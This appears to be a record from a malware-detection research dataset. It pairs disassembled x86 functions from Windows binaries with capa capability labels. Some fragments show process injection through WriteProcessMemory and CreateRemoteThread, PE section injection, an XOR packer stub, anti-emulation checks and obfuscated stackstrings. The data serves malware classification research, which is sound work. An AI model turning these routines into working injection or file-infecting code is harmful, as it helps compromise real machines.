joyce8/EMBER2024-capa huggingface dataset:
Function at 0x581824
Capabilities:
Check os version

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov dword [esp], eax
mov byte [esp + 4], 0
xor ebx, ebx
cmp dword [0x59a9e4], 0
je 0x581a41
mov eax, dword [0x59a9e4]
test eax, eax
je 0x581a41
mov edx, dword [eax + 0x219]
cmp edx, dword [esp]
jne 0x581a33
mov esi, eax
cmp byte [esi + 0xb], 0
je 0x581a41
cmp byte [esi + 0xc], 0
jne 0x581a41
mov byte [esi + 0xb], 0
mov al, byte [esi + 7]
mov edx, eax
dec edx
sub dl, 3
jae 0x58197e
dec al
je 0x581898
dec al
je 0x58189f
dec al
jne 0x5818a4
mov byte [esp + 5], 2
jmp 0x5818a4
mov byte [esp + 5], 0
jmp 0x5818a4
mov byte [esp + 5], 1
call sub.kernel32.dll_GetVersion_1
test eax, 0x80000000
jne 0x5818d0
push 0
push 1
mov al, byte [esp + 0xd]
push eax
xor eax, eax
mov al, byte [esi + 9]
push eax
lea eax, [esp + 0x10]
push eax
call fcn.0057f870
test al, al
sete bl
jmp 0x5818eb
mov al, byte [esi + 6]
push eax
push 1
xor eax, eax
mov al, byte [esi + 9]
push eax
lea eax, [esp + 0xc]
push eax
call fcn.0057f6b8
test al, al
sete bl
test bl, bl
jne 0x581a41
mov eax, dword [esi + 0x219]
mov dword [esp], eax
cmp byte [esi + 4], 0
je 0x58191d
jmp 0x581918
mov eax, dword [esp]
push eax
call fcn.00581bc0
test al, al
je 0x58191d
push 5
call sub.kernel32.dll_Sleep
cmp dword [esi], 0
jg 0x581904
mov eax, dword [esi + 0x219]
mov dword [esp], eax
call sub.kernel32.dll_GetVersion_1
test eax, 0x80000000
jne 0x581952
push 0
push 2
mov al, byte [esp + 0xd]
push eax
xor eax, eax
mov al, byte [esi + 9]
push eax
lea eax, [esp + 0x10]
push eax
call fcn.0057f870
test al, al
sete bl
jmp 0x58196d
mov al, byte [esi + 6]
push eax
push 2
xor eax, eax
mov al, byte [esi + 9]
push eax
lea eax, [esp + 0xc]
push eax
call fcn.0057f6b8
test al, al
sete bl
test bl, bl
jne 0x581a41
mov eax, dword [esi + 0x219]
mov dword [esp], eax
cmp byte [esi + 7], 5
jne 0x581999
mov eax, dword [esp]
push eax
mov eax, dword [esi + 0x215]
push eax
call fcn.0057fecc
test eax, eax
setbe bl
cmp byte [esi + 7], 4
jne 0x5819b4
mov eax, dword [esp]
push eax
mov eax, dword [esi + 0x215]
push eax
call fcn.0058032c
test al, al
sete bl
cmp byte [esi + 7], 6
jne 0x5819d6
mov eax, dword [esp]
push eax
mov eax, dword [esi + 0x221]
push eax
mov eax, dword [esi + 0x20d]
push eax
call fcn.00581374
test al, al
sete bl
cmp byte [esi + 7], 0
jne 0x581a12
mov bl, 1
mov eax, dword [esi + 0x21d]
push eax
mov eax, dword [esi + 0x215]
push eax
call fcn.0058032c
test al, al
je 0x581a12
mov eax, dword [esp]
push eax
mov eax, dword [esi + 0x221]
push eax
mov eax, dword [esi + 0x20d]
push eax
call fcn.00581374
test al, al
je 0x581a12
xor ebx, ebx
test bl, bl
jne 0x581a41
mov byte [esi + 0xc], 1
mov eax, dword [esi + 0x219]
mov dword [esp], eax
mov byte [esp + 4], 1
mov eax, dword [esp]
push eax
call fcn.0058141c
jmp 0x581a41
mov eax, dword [eax + 0x229]
test eax, eax
jne 0x58184d
mov al, byte [esp + 4]
pop ecx
pop edx
pop esi
pop ebx
ret
Function at 0x581e2c
Capabilities:
Parse pe header

Disassembly:
push esi
push edi
add esp, 0xfffffff8
xor ecx, ecx
mov dword [esp], ecx
test eax, eax
je 0x581e82
mov esi, eax
mov ecx, dword [esi + 0x3c]
add ecx, eax
cmp word [esi], 0x5a4d
jne 0x581e82
cmp dword [ecx], 0x4550
jne 0x581e82
mov eax, ecx
add eax, 4
add eax, 0x14
add eax, 0xe0
movzx esi, word [ecx + 6]
dec esi
test esi, esi
jb 0x581e82
inc esi
mov ecx, eax
mov edi, dword [ecx + 0x14]
cmp edx, edi
jb 0x581e7c
add edi, dword [ecx + 0x10]
cmp edx, edi
jae 0x581e7c
mov dword [esp], ecx
jmp 0x581e82
add eax, 0x28
dec esi
jne 0x581e67
mov eax, dword [esp]
pop ecx
pop edx
pop edi
pop esi
ret

Function at 0x581f14
Capabilities:
Parse pe header

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffffec
mov dword [esp + 4], ecx
mov dword [esp], edx
mov esi, eax
test esi, esi
je 0x581fb3
mov eax, dword [esp + 4]
mov byte [eax + 8], 0
mov eax, dword [esp + 4]
xor edx, edx
mov dword [eax], edx
mov eax, esi
mov ebx, dword [eax + 0x3c]
add ebx, esi
cmp word [eax], 0x5a4d
jne 0x581fb3
cmp dword [ebx], 0x4550
jne 0x581fb3
mov edx, dword [ebx + 0x28]
mov eax, ebx
call fcn.00581d18
mov edx, eax
mov eax, esi
call fcn.00581e2c
mov edi, eax
lea eax, [esp + 8]
push eax
mov edx, dword [ebx + 0x28]
mov eax, ebx
call fcn.00581d18
sub eax, dword [edi + 0x14]
mov edx, dword [edi + 0x10]
sub edx, eax
push edx
mov edx, dword [ebx + 0x28]
mov eax, ebx
call fcn.00581d18
add eax, esi
mov ecx, dword [esp + 8]
pop edx
call fcn.00581e8c
cmp byte [esp + 0x10], 0
je 0x581fb3
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
mov dword [eax], edx
mov edx, dword [esp + 0xc]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x10]
mov dword [eax + 8], edx
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0x581fd0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x18], ebx
mov edi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x582151
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 4], 0
je 0x58213b
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x3c]
add esi, dword [ebp - 4]
cmp word [eax], 0x5a4d
jne 0x58213b
cmp dword [esi], 0x4550
jne 0x58213b
mov eax, dword [ebp - 4]
call fcn.0057ae44
mov dword [ebp - 0x14], eax
mov eax, esi
add eax, 4
add eax, 0x14
add eax, 0xe0
xor edx, edx
push edx
push eax
movzx eax, word [esi + 6]
dec eax
shl eax, 3
lea eax, [eax + eax*4]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0x10]
add ebx, 0x28
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 8]
call fcn.00573764
mov eax, dword [ebp - 0x18]
call fcn.00573820
mov ecx, eax
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.005750d4
xor eax, eax
mov dword [ebx + 0x18], eax
xor eax, eax
mov dword [ebx + 0x1c], eax
mov word [ebx + 0x20], 0
mov word [ebx + 0x22], 0
mov al, byte [ebp + 8]
dec al
je 0x5820a0
dec al
je 0x5820b7
jmp 0x5820be
mov edx, 0x400
mov eax, edi
call fcn.00581fbc
mov edi, eax
mov dword [ebx + 0x24], 0xc0000040
jmp 0x5820be
mov dword [ebx + 0x24], 0xc0000020
mov dword [ebx + 0x10], edi
mov edx, dword [esi + 0x38]
mov eax, edi
call fcn.00581fbc
mov dword [ebx + 8], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x14]
mov edx, dword [ebp - 0x10]
add eax, dword [edx + 0x10]
mov dword [ebx + 0x14], eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 0x10]
add eax, dword [edx + 8]
mov edx, dword [esi + 0x38]
call fcn.00581fbc
mov dword [ebx + 0xc], eax
inc word [esi + 6]
mov edx, dword [esi + 0x38]
mov eax, edi
call fcn.00581fbc
add dword [esi + 0x50], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x14]
jbe 0x582129
mov ecx, dword [ebp + 0xc]
mov ecx, dword [ecx]
sub ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x14]
mov edx, eax
add eax, edi
call fcn.005750d4
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
mov edx, edi
call fcn.005750dc
mov eax, dword [ebp + 0xc]
add dword [eax], edi
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x582158
lea eax, [ebp - 0x18]
call fcn.0057356c
ret
Function at 0x582d8c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor esi, esi
mov edi, 0x12
mov eax, dword [ebp + 8]
lea ecx, [eax - 0x1048]
lea eax, [esi + 1]
xor edx, edx
div dword [ebp - 8]
mov eax, dword [ebp - 4]
xor ebx, ebx
mov bl, byte [eax + edx]
shl ebx, 0x10
mov eax, dword [ebp - 4]
movzx eax, byte [eax + esi]
shl eax, 0x18
add ebx, eax
lea eax, [esi + 2]
xor edx, edx
div dword [ebp - 8]
mov eax, dword [ebp - 4]
movzx eax, byte [eax + edx]
shl eax, 8
add ebx, eax
lea eax, [esi + 3]
xor edx, edx
div dword [ebp - 8]
mov eax, dword [ebp - 4]
movzx eax, byte [eax + edx]
add ebx, eax
xor dword [ecx], ebx
lea eax, [esi + 4]
xor edx, edx
div dword [ebp - 8]
mov esi, edx
add ecx, 4
dec edi
jne 0x582dab
xor eax, eax
mov dword [ebp - 0xc], eax
xor eax, eax
mov dword [ebp - 0x10], eax
xor edi, edi
mov eax, dword [ebp + 8]
push eax
push 1
mov eax, dword [ebp + 8]
lea ecx, [eax - 0x1048]
lea edx, [ebp - 0x10]
lea eax, [ebp - 0xc]
call fcn.005829cc
pop ecx
mov eax, edi
add eax, eax
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [edx + eax*4 - 0x1048], ecx
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 0x10]
mov dword [edx + eax*4 - 0x1044], ecx
inc edi
cmp edi, 9
jne 0x582e0d
mov edi, 4
mov eax, dword [ebp + 8]
lea ebx, [eax - 0x1000]
xor esi, esi
mov eax, dword [ebp + 8]
push eax
push 1
mov eax, dword [ebp + 8]
lea ecx, [eax - 0x1048]
lea edx, [ebp - 0x10]
lea eax, [ebp - 0xc]
call fcn.005829cc
pop ecx
mov eax, esi
add eax, eax
mov edx, dword [ebp - 0xc]
mov dword [ebx + eax*4], edx
mov edx, dword [ebp - 0x10]
mov dword [ebx + eax*4 + 4], edx
inc esi
cmp esi, 0x80
jne 0x582e5c
add ebx, 0x400
dec edi
jne 0x582e5a
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x582ea4
Capabilities:
Encrypt data using blowfish

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xffffffa0
push ebx
push esi
push edi
mov byte [ebp - 0x1049], cl
mov edi, edx
mov ebx, eax
mov eax, dword [ebp + 0x14]
call fcn.00573a10
lea esi, [ebp - 0x1058]
xor eax, eax
push ebp
push 0x583085
push dword fs:[eax]
mov dword fs:[eax], esp
push esi
push edi
mov esi, 0x59a9ec
lea edi, [ebp - 0x1048]
mov ecx, 0x12
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
push esi
push edi
mov esi, 0x59aa34
lea edi, [ebp - 0x1000]
mov ecx, 0x400
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
push ebp
mov eax, dword [ebp + 0x14]
call fcn.00573820
push eax
mov eax, dword [ebp + 0x14]
call fcn.00573a20
pop edx
call fcn.00582d8c
pop ecx
cmp byte [ebp - 0x1049], 0
je 0x582f40
lea eax, [ebp - 0x1048]
mov dword [ebp - 0x1050], eax
mov dword [ebp - 0x1054], 1
jmp 0x582f56
lea eax, [ebp - 0x1004]
mov dword [ebp - 0x1050], eax
mov dword [ebp - 0x1054], 0xffffffff
shr edi, 3
dec edi
test edi, edi
jl 0x58306f
inc edi
mov dword [ebp - 0x1060], edi
cmp dword [ebp + 0x10], 0
jne 0x582f73
cmp dword [ebp + 0xc], 0
je 0x582fef
mov dword [esi], 7
lea eax, [ebp + 0xc]
add eax, dword [esi]
mov dl, byte [eax]
inc edx
and dl, 0xff
mov byte [eax], dl
lea eax, [ebp + 0xc]
add eax, dword [esi]
cmp byte [eax], 0
jne 0x582f99
dec dword [esi]
cmp dword [esi], 0xffffffff
jne 0x582f7b
lea eax, [ebp + 0xc]
mov eax, dword [eax]
call fcn.005829a0
mov dword [esi], eax
lea eax, [ebp + 0xc]
add eax, 4
mov eax, dword [eax]
call fcn.005829a0
mov dword [ebp - 0x105c], eax
push ebp
mov eax, dword [ebp - 0x1054]
push eax
lea edx, [ebp - 0x105c]
mov eax, esi
mov ecx, dword [ebp - 0x1050]
call fcn.005829cc
pop ecx
mov eax, dword [esi]
call fcn.005829a0
xor dword [ebx], eax
mov eax, dword [ebp - 0x105c]
call fcn.005829a0
lea edx, [ebx + 4]
xor dword [edx], eax
jmp 0x583060
cmp byte [ebp + 8], 0
jne 0x583047
mov edi, ebx
mov eax, dword [edi]
call fcn.005829a0
mov dword [esi], eax
lea eax, [ebx + 4]
mov eax, dword [eax]
call fcn.005829a0
mov dword [ebp - 0x105c], eax
push ebp
mov eax, dword [ebp - 0x1054]
push eax
lea edx, [ebp - 0x105c]
mov eax, esi
mov ecx, dword [ebp - 0x1050]
call fcn.005829cc
pop ecx
mov eax, dword [esi]
call fcn.005829a0
mov dword [edi], eax
mov eax, dword [ebp - 0x105c]
call fcn.005829a0
lea edx, [ebx + 4]
mov dword [edx], eax
jmp 0x583060
push ebp
mov eax, dword [ebp - 0x1054]
push eax
mov edx, ebx
lea eax, [ebx + 4]
mov ecx, dword [ebp - 0x1050]
call fcn.005829cc
pop ecx
add ebx, 8
dec dword [ebp - 0x1060]
jne 0x582f69
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x58308c
lea eax, [ebp + 0x14]
call fcn.0057356c
ret
Function at 0x58316c
Capabilities:
Encode data using base64

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
test edi, edi
jle 0x58328e
lea eax, [edi + 2]
mov ecx, 3
cdq
idiv ecx
mov edx, eax
shl edx, 2
mov eax, esi
call fcn.00573b50
mov ecx, dword [esi]
mov eax, edi
mov esi, 3
cdq
idiv esi
mov esi, eax
test esi, esi
jle 0x583205
xor eax, eax
mov al, byte [ebx]
shl eax, 0x10
xor edx, edx
mov dl, byte [ebx + 1]
shl edx, 8
add eax, edx
xor edx, edx
mov dl, byte [ebx + 2]
add eax, edx
mov edx, eax
shr edx, 0x12
and edx, 0x3f
mov dl, byte [edx + 0x59ba34]
mov byte [ecx], dl
mov edx, eax
shr edx, 0xc
and edx, 0x3f
mov dl, byte [edx + 0x59ba34]
mov byte [ecx + 1], dl
mov edx, eax
shr edx, 6
and edx, 0x3f
mov dl, byte [edx + 0x59ba34]
mov byte [ecx + 2], dl
and eax, 0x3f
mov al, byte [eax + 0x59ba34]
mov byte [ecx + 3], al
add ecx, 4
add ebx, 3
dec esi
jne 0x5831a6
mov eax, edi
mov esi, 3
cdq
idiv esi
dec edx
je 0x583217
dec edx
je 0x583247
jmp 0x583295
xor eax, eax
mov al, byte [ebx]
shl eax, 0x10
mov edx, eax
shr edx, 0x12
and edx, 0x3f
mov dl, byte [edx + 0x59ba34]
mov byte [ecx], dl
shr eax, 0xc
and eax, 0x3f
mov al, byte [eax + 0x59ba34]
mov byte [ecx + 1], al
mov byte [ecx + 2], 0x3d
mov byte [ecx + 3], 0x3d
jmp 0x583295
xor eax, eax
mov al, byte [ebx]
shl eax, 0x10
xor edx, edx
mov dl, byte [ebx + 1]
shl edx, 8
add eax, edx
mov edx, eax
shr edx, 0x12
and edx, 0x3f
mov dl, byte [edx + 0x59ba34]
mov byte [ecx], dl
mov edx, eax
shr edx, 0xc
and edx, 0x3f
mov dl, byte [edx + 0x59ba34]
mov byte [ecx + 1], dl
shr eax, 6
and eax, 0x3f
mov al, byte [eax + 0x59ba34]
mov byte [ecx + 2], al
mov byte [ecx + 3], 0x3d
jmp 0x583295
mov eax, esi
call fcn.0057356c
pop edi
pop esi
pop ebx
ret
Function at 0x584354
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x14], eax
mov edi, dword [ebp + 8]
xor eax, eax
push ebp
push 0x584457
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x14]
mov edx, dword [ebp + 0xc]
call fcn.00573764
mov eax, dword [ebp - 0x14]
call fcn.00573820
mov ebx, eax
inc ebx
mov edx, edi
mov eax, ebx
call fcn.0057a6a0
mov esi, eax
test esi, esi
je 0x584441
test ebx, ebx
jbe 0x584441
push 0x58446c
push 0x58447c
call sub.kernel32.dll_GetModuleHandleA
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push ebx
mov eax, dword [ebp + 0xc]
push eax
push esi
push edi
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x584441
cmp ebx, dword [ebp - 0xc]
jne 0x584441
lea eax, [ebp - 0x10]
push eax
push 0
push esi
mov eax, dword [ebp - 8]
push eax
push 0
push 0
push edi
call sub.kernel32.dll_CreateRemoteThread
mov ebx, eax
test ebx, ebx
jne 0x584400
mov edx, edi
mov eax, esi
call fcn.0057a6c8
jmp 0x584441
cmp byte [ebp + 0x10], 0
je 0x58443a
push 0xffffffffffffffff
push ebx
call sub.kernel32.dll_WaitForSingleObject
test eax, eax
jne 0x584425
lea eax, [ebp - 4]
push eax
push ebx
call sub.kernel32.dll_GetExitCodeThread
mov edx, edi
mov eax, esi
call fcn.0057a6c8
cmp dword [ebp - 4], 0
jne 0x584432
mov dword [ebp - 4], 1
push ebx
call sub.kernel32.dll_CloseHandle
jmp 0x584441
mov dword [ebp - 4], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x58445e
lea eax, [ebp - 0x14]
call fcn.0057356c
ret
Function at 0x585a5c
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor eax, eax
push ebp
push 0x585b25
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 0xc]
call fcn.0057356c
cmp dword [0x5ac4e8], 0
jne 0x585a98
push 0
push 0
push 0xe
push edi
call sub.user32.dll_SendMessageA
mov ebx, eax
jmp 0x585aa7
push 0
push 0
push 0xe
push edi
call dword [0x5ac4e8]
mov ebx, eax
test ebx, ebx
je 0x585b0a
lea eax, [ebx + 1]
xor edx, edx
call fcn.0057a6a0
mov esi, eax
cmp dword [0x5ac4e8], 0
jne 0x585acf
push esi
lea eax, [ebx + 1]
push eax
push 0xd
push edi
call sub.user32.dll_SendMessageA
jmp 0x585add
push esi
lea eax, [ebx + 1]
push eax
push 0xd
push edi
call dword [0x5ac4e8]
cmp ebx, eax
jne 0x585b01
lea eax, [ebp - 8]
mov edx, esi
call fcn.00573764
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
call fcn.00579c9c
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
call fcn.005735c0
xor edx, edx
mov eax, esi
call fcn.0057a6c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x585b2c
lea eax, [ebp - 8]
mov edx, 2
call fcn.00573590
ret
Function at 0x587c50
Capabilities:
Enumerate files on windows
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffea8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x154], edx
mov dword [ebp - 0x150], edx
mov dword [ebp - 0x14c], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov edi, eax
xor eax, eax
push ebp
push 0x587e10
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.0057356c
lea eax, [ebp - 8]
mov edx, 0x587e28
call fcn.00573604
mov bl, 0x43
lea eax, [ebp - 8]
call fcn.00573a78
mov byte [eax], bl
mov eax, dword [ebp - 8]
call fcn.00573a20
push eax
call sub.kernel32.dll_GetDriveTypeA
sub eax, 3
jne 0x587ddb
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x14c]
mov ecx, 0x587e34
mov edx, dword [ebp - 8]
call fcn.0057386c
mov eax, dword [ebp - 0x14c]
call fcn.00573a20
push eax
call sub.kernel32.dll_FindFirstFileA
mov esi, eax
test esi, esi
je 0x587ddb
mov eax, dword [ebp - 0x148]
and eax, 0x10
cmp eax, 0x10
jne 0x587dc6
lea eax, [ebp - 0x150]
lea edx, [ebp - 0x18]
mov ecx, 0xe
call fcn.005737d0
cmp dword [ebp - 0x150], 0
je 0x587d56
push dword [ebp - 8]
lea eax, [ebp - 0x154]
lea edx, [ebp - 0x18]
mov ecx, 0xe
call fcn.005737d0
push dword [ebp - 0x154]
push 0x587e40
lea eax, [ebp - 4]
mov edx, 3
call fcn.005738e0
jmp 0x587d87
push dword [ebp - 8]
lea eax, [ebp - 0x158]
lea edx, [ebp - 0x11c]
mov ecx, 0x104
call fcn.005737d0
push dword [ebp - 0x158]
push 0x587e40
lea eax, [ebp - 4]
mov edx, 3
call fcn.005738e0
mov edx, dword [ebp - 4]
mov eax, 0x587e4c
call fcn.00573b08
test eax, eax
jne 0x587dc6
mov edx, dword [ebp - 4]
mov eax, 0x587e58
call fcn.00573b08
test eax, eax
jne 0x587dc6
mov eax, dword [ebp - 4]
call fcn.00573a20
call fcn.0057b8a4
test al, al
je 0x587dc6
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.005735c0
jmp 0x587de5
lea eax, [ebp - 0x148]
push eax
push esi
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x587cf8
inc ebx
cmp bl, 0x5b
jne 0x587ca2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x587e17
lea eax, [ebp - 0x158]
mov edx, 4
call fcn.00573590
lea eax, [ebp - 8]
mov edx, 2
call fcn.00573590
ret
Function at 0x5897cc
Capabilities:
Terminate thread

Disassembly:
push ecx
cmp dword [0x59bab4], 0
jbe 0x5897e1
mov eax, dword [0x59bab4]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x59ba94]
push eax
call sub.kernel32.dll_CloseHandle
cmp byte [0x59bae8], 0
je 0x589816
mov eax, dword [0x59ba90]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x59ba88]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x59ba8c]
push eax
call sub.kernel32.dll_CloseHandle
cmp byte [0x59bae8], 0
jne 0x589853
cmp byte [0x59baf0], 0
jne 0x589853
cmp dword [0x59ba84], 0
je 0x589853
mov byte [0x59ba80], 1
push esp
mov eax, dword [0x59ba84]
push eax
call sub.kernel32.dll_GetExitCodeThread
mov eax, dword [esp]
push eax
mov eax, dword [0x59ba84]
push eax
call sub.kernel32.dll_TerminateThread
pop edx
ret

Function at 0x404eea
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x404f25
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x404f0c
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x404f1d
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x404f27
inc edi
add eax, 0x28
cmp edi, esi
jb 0x404f02
xor eax, eax
pop edi
pop esi
ret

Function at 0x405e20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
cld
invalid
jmp [esi + eax*8]
test dword [edx + 0x14fffffc], ebp
mov byte [ebp - 0x355], 0x55
lea eax, [ebp - 0x36c]
push eax
call fcn.00404eba
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00404e6f
add esp, 0xc
mov dword [ebp - 0x3d4], eax
call fcn.00404eaa
pushfd
jg 0x405e35
Function at 0x40e791
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x18], 0
and dword [eax + 0x14], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
ret 4

Function at 0x41279f
Capabilities:
Get common file path

Disassembly:
push dword [esp + 4]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
neg eax
sbb eax, eax
neg eax
ret 8

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x43d200ec
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x432024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f314
nop
nop
mov ecx, 0x6999232f
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x432084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401058
Capabilities:
Allocate or change rwx memory
Terminate process

Disassembly:
push ebx
push esi
push edi
push 4
push 0x3000
mov esi, 0x1e5d70
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
push eax
cmp eax, 0x11
je 0x401025
mov eax, eax
cld
test ecx, ecx
or eax, eax
clc
pop eax
test edi, edi
je 0x401054
nop
mov al, al
push 0xf1b30
push 0
push edi
call sub.msvcrt.dll_memset
add esp, 0xc
push ebx
mov cl, cl
mov cl, cl
cld
pop ebx
push 0x8000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebx
ret
push 0
push 0x40
push 0x3000
push 0x7d0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
test eax, eax
jne 0x401080
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp section..text

Function at 0x40117e
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x41c5a7
call sub.msvcrt.dll__EH_prolog
push ecx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.0040e39f
and dword [ebp - 4], 0
lea eax, [edi + 0xc]
push eax
lea ecx, [esi + 0xc]
call fcn.0040e39f
mov eax, dword [edi + 0x18]
mov dword [esi + 0x18], eax
mov eax, dword [edi + 0x1c]
mov dword [esi + 0x1c], eax
lea eax, [edi + 0x20]
push eax
lea ecx, [esi + 0x20]
mov byte [ebp - 4], 1
call fcn.0040e39f
mov eax, dword [edi + 0x2c]
mov dword [esi + 0x2c], eax
mov eax, dword [edi + 0x30]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x30], eax
mov eax, dword [edi + 0x34]
mov dword [esi + 0x34], eax
mov eax, dword [edi + 0x38]
mov dword [esi + 0x38], eax
mov eax, dword [edi + 0x3c]
mov dword [esi + 0x3c], eax
mov eax, dword [edi + 0x40]
mov dword [esi + 0x40], eax
mov eax, dword [edi + 0x44]
mov dword [esi + 0x44], eax
mov eax, dword [edi + 0x48]
mov dword [esi + 0x48], eax
mov eax, dword [edi + 0x4c]
mov dword [esi + 0x4c], eax
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 4